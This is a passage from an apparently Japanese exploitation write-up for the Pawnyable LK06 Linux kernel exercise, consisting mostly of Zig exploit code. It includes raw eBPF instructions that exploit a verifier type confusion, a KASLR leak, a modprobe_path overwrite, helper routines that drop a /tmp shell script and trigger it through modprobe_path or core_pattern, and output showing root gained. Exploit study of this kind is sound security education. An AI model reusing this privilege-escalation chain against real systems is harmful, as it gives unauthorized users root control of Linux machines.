</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>, <span style="color:#00bcff">0xdead</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r7, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x190</span>), <span style="color:#a8a8a8">// fp-0x190, this is where the saved return address is stored
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// construct a fake skb on the stack
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">stx</span>(.double_word, .r8, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, .r1), <span style="color:#a8a8a8">// skb-&gt;data == fp-0x110
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">st</span>(.double_word, .r8, <span style="color:#00d3d0">-</span>(<span style="color:#00bcff">0x8</span><span style="color:#00d3d0">+</span>(<span style="color:#00bcff">0xb8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x68</span>)), <span style="color:#00bcff">0x100</span>), <span style="color:#a8a8a8">// skb-&gt;data_len == 0xcafe
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">mov</span>(.r1, .r8),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span>(<span style="color:#00bcff">0x8</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0xb8</span>)), <span style="color:#a8a8a8">// &amp;skb
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">stx</span>(.double_word, .r8, <span style="color:#00bcff">0</span>, .r1),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// type confusion: r1 (expected: ctx, actual: fp-)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>, .r6),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r7, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r2, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r3, .r8),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r3, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r4, <span style="color:#00bcff">8</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">call</span>(.skb_load_bytes),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// the address of this instruction is now in r8-0x10
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .{
</span></span><span style="display:flex;"><span>            .code <span style="color:#00d3d0">=</span> BPF.CALL <span style="color:#00d3d0">|</span> BPF.JMP,
</span></span><span style="display:flex;"><span>            .dst <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            .src <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            .imm <span style="color:#00d3d0">=</span> <span style="color:#00bcff">7</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// map[1] = &amp;call_instruction
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">ld_map_fd1</span>(.r1, mapfd),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ld_map_fd2</span>(mapfd),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, <span style="color:#00bcff">1</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r2, .r10),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r2, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r3, .r8),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r3, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r4, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">call</span>(.map_update_elem),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// type confusion: r1 (expected: fp-0x8, actual: &amp;call_instruction)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r8, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">stx</span>(.double_word, .r8, <span style="color:#00bcff">0</span>, .r1),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r1, .r10),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>, .r1),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r7, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// map[2] = call_instruction
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">mov</span>(.r3, .r1),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ld_map_fd1</span>(.r1, mapfd),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ld_map_fd2</span>(mapfd),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r2, .r10),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r2, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r4, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">call</span>(.map_update_elem),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// idk why but adding \x00\x08 to the end doesn&#39;t work as expected
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">bpf_helper</span>(mapfd, <span style="color:#00d3d0">&amp;</span>insns, <span style="color:#79a8ff">&#34;foobared&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">2</span>]<span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..<span style="color:#00bcff">2</span>) <span style="color:#00d3d0">|</span>i<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_lookup_elem</span>(mapfd, <span style="color:#00d3d0">&amp;</span>std.mem.<span style="color:#feacd0">toBytes</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@intCast</span>(i<span style="color:#00d3d0">+</span><span style="color:#00bcff">1</span>))), std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>buf[i]));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#feacd0">call_decoder</span>(buf[<span style="color:#00bcff">0</span>], std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>buf[<span style="color:#00bcff">1</span>])[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">5</span>]) <span style="color:#00d3d0">-</span> BPF_USER_RND_U32;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">confirm_unpriviledged_bpf</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> kaslr_offset <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">kaslr_leak</span>();
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Kernel base: 0x{s}&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>(kaslr_offset<span style="color:#00d3d0">+</span><span style="color:#00bcff">0xffffffff81000000</span>))), .lower)});
</span></span><span style="display:flex;"><span>    MODPROBE_PATH <span style="color:#00d3d0">+=</span> kaslr_offset;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">overwrite_modprobe_path</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">modprobePath</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1337
</span></span><span style="display:flex;"><span>[INFO] User is not bpf_capable
</span></span><span style="display:flex;"><span>[INFO] Kernel base: 0xffffffff9b800000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>root</span></span></code></pre></div>

<p><a href="/pawnyable/lk06.zig">完全なexploit</a></p>
<p>実は「BPFスタックを使わずに」もexploitしたかったが、できなかった。
（<a href="https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf">PageJack</a>と<a href="https://zplin.me/papers/DirtyCred.pdf">DirtyCred</a>なような術使ったが、でもcred_jarキャッシュが開放したページに配置できなっかた。ヒープ風水は難しいよね。）</p>
<h2 id="org-babel部分">Org-babel部分</h2>
<p>エクスプロイト開発にはOrg-babelを活用している（ジュピターノートブックみたいなやつ⸺興味があるなら関連項目は文芸的プログラッミング）。</p>
<p>コードブロックを実行する時にはこうなる：</p>
<ol>
<li>Zigソースは抽出するとコンパイルする</li>
<li>rootfsを再作成する</li>
<li>QEMUでシェルを実行する、そして入力文字列とコマンド出力の送受信</li>
</ol>
<p>それだけじゃない！
このページは同じOrg内容で<a href="https://ox-hugo.scripter.co/">ox-hugo</a>でエクスポートした結果だ。
格好いいだろう（少なくとも僕はそう思う）。</p>
<p>以下はこのページで使用される色んな関数だ。</p>
<p><a id="code-snippet--pawnyable-lib"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> std <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;std&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> linux <span style="color:#00d3d0">=</span> std.os.linux;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> posix <span style="color:#00d3d0">=</span> std.posix;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">const</span> std_options <span style="color:#00d3d0">=</span> std.Options{
</span></span><span style="display:flex;"><span>    .log_level <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">if</span> (<span style="color:#f78fe7">@hasDecl</span>(<span style="color:#f78fe7">@This</span>(), <span style="color:#79a8ff">&#34;DEBUG&#34;</span>)) .debug <span style="color:#b6a0ff">else</span> .info,
</span></span><span style="display:flex;"><span>    .logFn <span style="color:#00d3d0">=</span> pawnyableLogger,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">pawnyableLogger</span>(
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">comptime</span> level<span style="color:#00d3d0">:</span> std.log.Level,
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">comptime</span> _<span style="color:#00d3d0">:</span> <span style="color:#f78fe7">@Type</span>(.enum_literal),
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">comptime</span> format<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>,
</span></span><span style="display:flex;"><span>    args<span style="color:#00d3d0">:</span> anytype,
</span></span><span style="display:flex;"><span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> prefix <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;[&#34;</span> <span style="color:#00d3d0">++</span> <span style="color:#b6a0ff">comptime</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> level_text <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">switch</span> (level) {
</span></span><span style="display:flex;"><span>            .debug <span style="color:#00d3d0">=&gt;</span> <span style="color:#79a8ff">&#34;DBUG&#34;</span>,
</span></span><span style="display:flex;"><span>            .info <span style="color:#00d3d0">=&gt;</span> <span style="color:#79a8ff">&#34;INFO&#34;</span>,
</span></span><span style="display:flex;"><span>            .warn <span style="color:#00d3d0">=&gt;</span> <span style="color:#79a8ff">&#34;WARN&#34;</span>,
</span></span><span style="display:flex;"><span>            .err <span style="color:#00d3d0">=&gt;</span> <span style="color:#79a8ff">&#34;ERRR&#34;</span>,
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [level_text.len]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk std.ascii.<span style="color:#feacd0">upperString</span>(<span style="color:#00d3d0">&amp;</span>buf, level_text);
</span></span><span style="display:flex;"><span>    } <span style="color:#00d3d0">++</span> <span style="color:#79a8ff">&#34;] &#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">lockStdErr</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.debug.<span style="color:#feacd0">unlockStdErr</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> stderr <span style="color:#00d3d0">=</span> std.io.<span style="color:#feacd0">getStdErr</span>().<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>    nosuspend stderr.<span style="color:#feacd0">print</span>(prefix <span style="color:#00d3d0">++</span> format <span style="color:#00d3d0">++</span> <span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, args) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">bigEndianify</span>(<span style="color:#b6a0ff">comptime</span> len<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>, buf<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>) [len]<span style="color:#6ae4b9">u8</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bufLE<span style="color:#00d3d0">:</span> [len]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..len) <span style="color:#00d3d0">|</span>i<span style="color:#00d3d0">|</span> bufLE[i] <span style="color:#00d3d0">=</span> buf[len<span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span><span style="color:#00d3d0">-</span>i];
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> bufLE;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> __spinlock<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">spin</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (<span style="color:#00bcff">true</span>) <span style="color:#b6a0ff">if</span> (__spinlock) <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_cs<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_ss<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_rsp<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_rflags<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">saveState</span>() <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span> (
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.intel_syntax noprefix</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov user_cs, cs</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov user_ss, ss</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\mov user_rsp, rsp</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\pushfq</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\pop qword ptr user_rflags</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.att_syntax</span>
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">whoami</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;You won!!&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> args <span style="color:#00d3d0">=</span> [_<span style="color:#00d3d0">:</span><span style="color:#00bcff">null</span>]<span style="color:#00d3d0">?</span>[<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>{<span style="color:#79a8ff">&#34;/usr/bin/whoami&#34;</span>};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> env <span style="color:#00d3d0">=</span> [_<span style="color:#00d3d0">:</span><span style="color:#00bcff">null</span>]<span style="color:#00d3d0">?</span>[<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#6ae4b9">u8</span>{};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">execveZ</span>(<span style="color:#79a8ff">&#34;/usr/bin/whoami&#34;</span>, args[<span style="color:#00bcff">0</span>..args.len], env[<span style="color:#00bcff">0</span>..env.len])) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">modprobePath</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;You won!!&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> tmpx <span style="color:#00d3d0">=</span> std.fs.<span style="color:#feacd0">cwd</span>().<span style="color:#feacd0">createFile</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;/tmp/x&#34;</span>, .{
</span></span><span style="display:flex;"><span>            .read <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>            .mode <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0o777</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    ) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>    tmpx.<span style="color:#feacd0">writeAll</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\#!/bin/sh</span>
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\/usr/bin/whoami &amp;&gt; /tmp/whoisit</span>
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\chmod 777 /tmp/whoisit</span>
</span></span><span style="display:flex;"><span>    ) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>    tmpx.<span style="color:#feacd0">close</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> unknown <span style="color:#00d3d0">=</span> std.fs.<span style="color:#feacd0">cwd</span>().<span style="color:#feacd0">createFile</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;/tmp/unknown&#34;</span>, .{
</span></span><span style="display:flex;"><span>            .read <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>            .mode <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0o777</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    ) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>    unknown.<span style="color:#feacd0">writeAll</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0xff</span>}<span style="color:#00d3d0">**</span><span style="color:#00bcff">4</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>    unknown.<span style="color:#feacd0">close</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    posix.<span style="color:#feacd0">exit</span>(<span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">corePattern</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;You won!!&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> tmpx <span style="color:#00d3d0">=</span> std.fs.<span style="color:#feacd0">cwd</span>().<span style="color:#feacd0">createFile</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;/tmp/x&#34;</span>, .{
</span></span><span style="display:flex;"><span>            .read <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>            .mode <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0o777</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    ) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>    tmpx.<span style="color:#feacd0">writeAll</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\#!/bin/sh</span>
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\/usr/bin/whoami &amp;&gt; /tmp/whoisit</span>
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\chmod 777 /tmp/whoisit</span>
</span></span><span style="display:flex;"><span>    ) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>    tmpx.<span style="color:#feacd0">close</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">fork</span>() <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span> <span style="color:#00d3d0">=&gt;</span> posix.<span style="color:#feacd0">abort</span>(),
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>pid<span style="color:#00d3d0">|</span> _ <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">waitpid</span>(pid, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> flag <span style="color:#00d3d0">=</span> std.fs.<span style="color:#feacd0">openFileAbsolute</span>(<span style="color:#79a8ff">&#34;/tmp/whoisit&#34;</span>, .{}) <span style="color:#b6a0ff">catch</span> {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;Failed to open /tmp/whoisit&#34;</span>, .{});
</span></span><span style="display:flex;"><span>        posix.<span style="color:#feacd0">abort</span>();
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> flag.<span style="color:#feacd0">close</span>();
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;{s}&#34;</span>, .{(tmpx.<span style="color:#feacd0">reader</span>().<span style="color:#feacd0">readBoundedBytes</span>(<span style="color:#00bcff">32</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>).<span style="color:#feacd0">constSlice</span>()});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    posix.<span style="color:#feacd0">exit</span>(<span style="color:#00bcff">0</span>);
